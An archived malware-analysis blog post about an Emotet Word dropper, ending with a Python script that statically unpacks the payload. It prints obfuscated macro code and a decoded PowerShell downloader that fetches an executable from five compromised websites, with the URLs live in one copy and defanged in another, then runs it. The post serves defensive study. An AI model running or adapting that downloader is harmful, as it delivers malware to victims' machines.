{
	"id": "49587c23-75a1-4ad3-9273-abf2cd18c335",
	"created_at": "2026-04-06T00:08:38.307315Z",
	"updated_at": "2026-04-10T03:21:01.059495Z",
	"deleted_at": null,
	"sha1_hash": "f444061a5c1cc14fdec187fbe0718d5843e09e95",
	"title": "Analyzing an Emotet Dropper and Writing a Python Script to Statically Unpack Payload.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 770301,
	"plain_text": "Analyzing an Emotet Dropper and Writing a Python Script to Statically\r\nUnpack Payload.\r\nBy Irshad Muhammad\r\nPublished: 2020-11-22 · Archived: 2026-04-02 10:47:52 UTC\r\nIn this blog post, we will analyze an Emotet dropper. The sample used in this post is available on any.run here. Details of the\r\nsample are\r\nMD5: b92021ca10aed3046fc3be5ac1c2a094\r\nFilename: emotet.doc\r\nFile Type: DOCX\r\nWhen you open the file in MS Word, you will be greeted with social engineering message asking you to enable the Macros.\r\nLet’s extract the Macros. There are multiple tools that can accomplish this, but my favorite one is olevba . The extracted\r\nMacro is uploaded here on gist. Macro code is heavily obfuscated. However, there are some lines that stand out. (Line\r\nnumbers are the same as the code on gist.)\r\n62\r\n63\r\nGS0LWK = zqzYlm3 + ThisDocument.McQHX3.Caption +\r\nThisDocument.PWo3kW.Caption + ThisDocument.psYO9m.Caption + UR1S3b\r\n88\r\n89\r\nRcTkkOqw = CreateObject(Replace( \"w i nm gmts:Win 32 _Pr ocess\" ,\r\n\" \" , \"\" )).Create(GS0LWK + IEHlwRq, W8KjQY, u0rrBWd, l78zbRfV)\r\nAt line 62 it prepares a string GS0LWK , and then use it as a parameter to winmgmts:Win32_Process.Create on line 88,\r\nwhich is used to create a new process. GS0LWK will be the command-line of the new process. Now we can set up a\r\nbreakpoint on line 88 and debug the Macro to see what process is being created\r\nThe figure above shows it will create a Powershell Process with Base64 encoded code. We can copy the command line from\r\nvariable GS0WLK , or using any process manager such as `procexp` or Process Hacker. It is also available on any.run link\r\nshared at the start of the blog. So Macro will create the following PowerShell process.\r\n1\r\npowershell -enco\r\nJABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOA\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 1 of 10\n\nAfter Base64 decoding the code looks like this\r\n1\r\n$jrFhA0 = 'Wf1rHz' ; $uUMMLI =\r\n'284' ; $iBtj49N = 'ThMqW8s0' ; $FwcAJs6 = $env:userprofile + '\\' + $uUMMLI + '.exe' ; $S9GzRstM = 'EFCwnlGz' ;\r\n( 'n' + 'ew' + '-object' ) NeT.wEBClIEnt; $pLjBqINE = 'http://blockchainjoblist.com/wp-admin/014080/@https://womenempowermentpakistan.com/wp-admin/paba5q52/@https://atnimanvilla.com/wp-content/073735/@https://yeuquynhnhai.com/upload/41830/@https://deepikarai.com/js/4bzs6/' . \"sPL`iT\"\r\n( '@' ); $l4sJloGw = 'zISjEmiP' ; foreach ( $V3hEPMMZ in $pLjBqINE ){try{ $u8UAr3 . \"DOw`N`lOaDfi`Le\" ( $V3hEPMMZ\r\n$FwcAJs6 ); $IvHHwRib = 's5Ts_iP8' ; If ((\u0026( 'G' + 'e' + 't-Item' ) $FwcAJs6 ). \"LeN`gTh\" -ge 23931)\r\n{ [Diagnostics.Process] :: \"ST`ArT\"\r\n( $FwcAJs6 ); $zDNs8wi = 'F3Wwo0' ; break ; $TTJptXB = 'ijlWhCzP' }}catch{}} $vZzi_uAp = 'aEBtpj4'\r\nThe de-obfuscated PowerShell code would look this. (I have defanged the URLs)\r\n$jrFhA0='Wf1rHz'\r\n$uUMMLI = '284'\r\n$iBtj49N='ThMqW8s0'\r\n$FwcAJs6=$env:userprofile+'\\'+$uUMMLI+'.exe'\r\n$S9GzRstM='EFCwnlGz'\r\n$u8UAr3=\u0026('new-object') NeT.wEBClIEnt\r\n$pLjBqINE='http[:]//blockchainjoblist[.]com/wp-admin/014080/\r\n@ https[:]//womenempowermentpakistan[.]com/wp-admin/paba5q52/\r\n@ https[:]//atnimanvilla[.]com/wp-content/073735/\r\n@ https[:]//yeuquynhnhai[.]com/upload/41830/\r\n@ https[:]//deepikarai[.]com/js/4bzs6/'.\"sPLiT\"('@')\r\n$l4sJloGw='zISjEmiP'\r\nforeach($V3hEPMMZ in $pLjBqINE)\r\n{\r\ntry\r\n{\r\n$u8UAr3.\"DOwNlOaDfiLe\"($V3hEPMMZ, $FwcAJs6)\r\n$IvHHwRib='s5Ts_iP8'\r\nIf ((\u0026('Get-Item') $FwcAJs6).\"LeNgTh\" -ge 23931)\r\n{\r\n[Diagnostics.Process]::\"STArT\"($FwcAJs6)\r\n$zDNs8wi='F3Wwo0'\r\nbreak\r\n$TTJptXB='ijlWhCzP'\r\n}\r\n}\r\ncatch\r\n{}\r\n}\r\n$vZzi_uAp='aEBtpj4'\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 2 of 10\n\nThis shellcode will download an executable from one of the URLs in the array\r\n“ $pLjBqINE “, save it to the path “ %UserProfile%\\284.exe\" , check if its size is greater than or equal to 23931 bytes, and\r\nexecute it.\r\nAnalysis of Second Stage Exe (284.exe)\r\n284.exe can be downloaded from any.run. Let’s see if it is packed with any known packer. Exeinfo PE is unable to find any\r\nknown packer.\r\nHowever, Detect it easy finds that it is an MFC application\r\nwith high entropy and status packed . Most likely, it is packed with a custom MFC Packer.\r\nWhen I open the file in IDA-PRO and look at the imports , shown below, it is filled with junk imports. So, yup Exe is\r\npacked.\r\nUsually, to further analyze these types of files, either I run them in a sandbox, or run them with a tracer tool, such as\r\ntiny_tracer, and look for interesting API calls. When I run the 284.exe with tiny_tracer, at the end of the API log file, I see an\r\ninteresting API call sequence.\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 3 of 10\n\nIt seems like, it is loading some resource, decrypting it, allocating new space to copy the decrypted code, and then executing\r\nit. Set a breakpoint on FindResourceA in a debugger, execute it till return, and it will land you in this unpacking function.\r\nYou can use ida_fl plugin to load .tag file in IDA Pro.\r\nUnpacking function analysis\r\nIt will load the KITTKOF resource in memory\r\nThe resource hacker shows KITKOFF resource. It seems to be encrypted.\r\nThen packer will decode the shellcode from Base64+ RC4 encrypted string that will in turn decrypt the resource.\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 4 of 10\n\nThe RC4 algorithm, shown as CustomRC4 , it uses to decrypt the is slightly modified from the standard version. It uses\r\nN=0x1E1 , instead of the standard N=0x100 . It is shown below.\r\nThen the malware calls the shellcode twice and passes Resrouce Size , Pointer to loaded resource data , an\r\ninteger , and string as parameters. Nothing happens in the first call. However, the second call decrypts the resource.\r\nAnalysis Of Shellcode\r\nLike any other shellcode, at first, it resolves the LoadLibraryA and GetProcAddress using API hashes as shown below.\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 5 of 10\n\nThen it prepares the following WINAPI strings on the stack, and dynamically resolves them\r\n– CryptAcquireContextA\r\n– CryptImportKey\r\n– CryptEncrypt\r\nan example is shown below\r\nThe shellcode then prepares two PUBLICKEYSTRUC key blobs on the stack,\r\nOne for RSA with ALG_ID of CALG_RSA_KEYX(0x0000a400)\r\nOther for RC4 with ALG_ID of CALG_RC4 (0x00006801)\r\nThe shellcode imports both of these key blobs using CryptImportKey . However, it only updates the key in RC4 one, and\r\nuse that to decrypt resource data. The corresponding API call is shown below. We can analyze the pbData parameter, which\r\nis of type PUBLICKEYSTRUC to find the key used.\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 6 of 10\n\npdData data is shown below with key highlighted. If notice, this key was passed as the first parameter while calling the\r\nshellcode.\r\nFinally, the shellcode calls CrypteEncrypt and decrypts the Resource data. The decrypted data is shown below. That is\r\nanother layer of shellcode. (why? hint: call $+5 )\r\nIf you scroll down a little, you will find a PE file is also present in decrypted data.\r\nI have analyzed the next layer of shellcode, it just reflectively loads the embedded PE file. So we can dump decrypted\r\nresource data and carve out PE files using Exeinfo-PE or some other tools. Exeinfo PE extracted two files\r\n1. DLL (bf3af6a558366d3927bfe5a9b471d56a1387b4927a418c428fc3452721b5c757)\r\n2. Exe (f96d6bbf4b0da81c688423f2e1fc3df4b4ef970f91cfd6230a5c5f45bb7e41bd)\r\nBoth of these files are already detected by existing open source Emotet Yara sigs.\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 7 of 10\n\nSo we have reached the final payload of Emotet. Let’s see if we can write a script to statically unpack and extract the\r\npayload.\r\nWe can write a python script to unpack 284.exe statically by\r\nExtract binary data from resource with name KITTOFF\r\nRC4 decrypt it using key \"?UPLkTcdjlHrhAW\\x00\"\r\nCarve out PE files from the decrypted binary data stream.\r\nThe code is pretty self-explanatory. If you have any questions please let me know in comments.\r\n#!/usr/bin/env python3\r\n# Name:\r\n# unpack_emotet.py\r\n# Description:\r\n# This script accompanies my blog at\r\n# https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\n# and can be used to statically unpack given sample in the blog\r\n# Author:\r\n# https://twitter.com/mirshadx\r\n# https://www.linkedin.com/in/irshad-muhammad-3020b0a5/\r\n#\r\n# PE carving code is adopted from https://github.com/MalwareLu/tools/blob/master/pe-carv.py\r\n#\r\nimport pefile\r\nfrom Crypto.Cipher import ARC4\r\nimport re\r\n# if you like, you can use commandline args for these arguments\r\nEXE_PATH = \"C:\\\\Users\\\\user\\\\Downloads\\\\tmp\\\\284.bin\"\r\nRC4_KEY = b\"?UPLkTcdjlHrhAW\\x00\"\r\nRESOURCE_NAME = \"KITTKOF\"\r\ndef get_resource_data(path_to_exe, resource_name):\r\n\"\"\"Given a resource name extracts binary data for it\"\"\"\r\npe = pefile.PE(path_to_exe)\r\nfor rsrc in pe.DIRECTORY_ENTRY_RESOURCE.entries:\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 8 of 10\n\nif str(rsrc.name) == resource_name:\r\nprint(\"Found the resource with name KITTOFF\")\r\n# Get IMAGE_RESOURCE_DATA_ENTRY for resource and extract data\r\ndata_struc = rsrc.directory.entries[0].directory.entries[0].data.struct\r\ndata_size = data_struc.Size\r\ndata_offset = data_struc.OffsetToData\r\nprint(f\"Rosource Size: {hex(data_size)}, Resource Offset:{hex(data_offset)}\")\r\nrsrc_data = pe.get_memory_mapped_image()[data_offset: data_offset + data_size]\r\nreturn rsrc_data\r\nraise ValueError(f\"Unable to find resource with name: {resource_name}\")\r\ndef rc4_decrypt_data(enc_data, key):\r\n\"\"\"RC4 decrypts the encrypted data\"\"\"\r\ncipher = ARC4.new(RC4_KEY)\r\ndec_data = cipher.decrypt(enc_data)\r\nreturn dec_data\r\ndef get_extension(pe):\r\n\"\"\"returns ext of the file type using pefile\"\"\"\r\nif pe.is_dll():\r\nreturn \".dll_\"\r\nif pe.is_driver():\r\nreturn \".sys_\"\r\nif pe.is_exe():\r\nreturn \".exe_\"\r\nelse:\r\nreturn \".bin_\"\r\ndef write_pe_file_disk(pe, c):\r\n\"\"\"Writes a PE file to disk\"\"\"\r\ntrimmed_pe = pe.trim()\r\npe_name = str(c)+get_extension(pe)\r\nout = open(pe_name, \"wb\")\r\nout.write(trimmed_pe)\r\nout.close()\r\nprint(f\"PE file: {pe_name} written to disk\")\r\ndef carve_pe_file(data_stream):\r\n\"\"\"carve out pe file from binary data stream\"\"\"\r\nc = 1\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 9 of 10\n\nfor y in [tmp.start() for tmp in re.finditer(b\"\\x4d\\x5a\", data_stream)]:\r\nlocation = y\r\ntry:\r\npe = pefile.PE(data=data_stream[y:])\r\nexcept:\r\nprint(f\"MZ header found at {hex(y)} but failed to parse it as PE\")\r\ncontinue\r\nprint(f\"Found PE at offset: {hex(y)}\")\r\nwrite_pe_file_disk(pe, c)\r\nif __name__ == '__main__':\r\nrsrc_data = get_resource_data(EXE_PATH, RESOURCE_NAME)\r\ndec_data = rc4_decrypt_data(rsrc_data, RC4_KEY)\r\ncarve_pe_file(dec_data)\r\nSource: https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nhttps://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/"
	],
	"report_names": [
		"analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload"
	],
	"threat_actors": [],
	"ts_created_at": 1775434118,
	"ts_updated_at": 1775791261,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f444061a5c1cc14fdec187fbe0718d5843e09e95.pdf",
		"text": "https://archive.orkl.eu/f444061a5c1cc14fdec187fbe0718d5843e09e95.txt",
		"img": "https://archive.orkl.eu/f444061a5c1cc14fdec187fbe0718d5843e09e95.jpg"
	}
}